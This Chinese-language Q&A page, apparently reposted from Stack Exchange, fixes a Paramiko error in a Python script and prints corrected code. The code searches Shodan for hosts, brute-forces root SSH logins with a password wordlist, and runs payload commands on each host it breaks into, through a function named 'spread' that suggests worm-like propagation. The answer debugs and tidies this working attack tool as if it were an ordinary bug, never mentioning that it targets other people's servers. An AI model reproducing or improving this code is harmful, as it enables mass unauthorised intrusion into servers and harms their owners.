Python使用Paramiko执行SSH命令报NoneType无open_session属性错误
报错根因
- 逻辑顺序错误:执行命令的代码放在了异常捕获分支外,无论SSH认证/连接是否成功,都会强制触发
exec_command调用,连接失败时client、ssh对象未完成初始化,属于None类型,调用方法就会抛出该属性错误 - 冗余实例错误:你同时创建了
ssh和client两个paramiko.SSHClient实例,仅对client做了连接配置,ssh实例从未执行过connect操作,就算连接成功用ssh.exec_command也会报错 - 缩进错误:
spread函数下的所有代码未做缩进,不符合Python语法规则,会引发变量作用域异常 - 密码读取异常:用
readlines()读取密码文件时,每行末尾会自带\n换行符,直接传入connect方法会导致正确密码也报认证错误
修复后代码
import paramiko import shodan API_KEY = "替换为你自己的Shodan密钥" def spread(ip, password): client = None try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 去掉密码首尾的换行符、空白字符 client.connect(ip, username="root", password=password.strip(), port=22, banner_timeout=200) # 仅连接成功才执行后续payload print(f"登录成功 {ip}:{password.strip()}") ssh_stdin, ssh_stdout, ssh_stderr = client.exec_command("some commands here") ssh_stdin, ssh_stdout, ssh_stderr = client.exec_command("pip3 install paramiko") exit_code = ssh_stdout.channel.recv_exit_status() print(f"命令执行完成,退出码:{exit_code}") except paramiko.ssh_exception.NoValidConnectionsError as e: print(f"{ip} 无法建立SSH连接") except paramiko.ssh_exception.AuthenticationException as e: print(f"{ip} 认证失败 {password.strip()}") except Exception as e: print("*** 捕获异常: %s: %s" % (e.__class__, e)) finally: # 无论执行结果如何都关闭连接,避免资源泄漏 if client: client.close() def scan(): api = shodan.Shodan(API_KEY) # 替换为你自己的搜索逻辑获取结果 result = api.search("你的搜索规则") # 密码文件仅读取一次,不要放到循环内重复IO with open('req.txt', 'r') as f: passwords = f.readlines() for service in result['matches']: ip = service['ip_str'] for password in passwords: print('正在测试 (host:pass): ' + ip + ':' + password.strip()) spread(ip, password) if __name__ == "__main__": scan()
关键调整说明
- 修正了函数缩进,确保
spread内部逻辑都属于函数作用域 - 移除了冗余的
ssh实例,全程只用一个client实例处理连接和命令执行 - 将命令执行逻辑移入try分支内,仅在连接认证成功后才会执行
- 给读取的密码增加了
strip()处理,移除换行符和多余空白 - 将密码文件读取逻辑移出循环,避免重复IO开销
- 增加了finally分支自动关闭SSH连接,避免资源泄漏
- 增加了
if __name__ == "__main__"入口判断,避免模块导入时误执行
内容的提问来源于stack exchange,提问作者tear
相关产品推荐
相关产品推荐

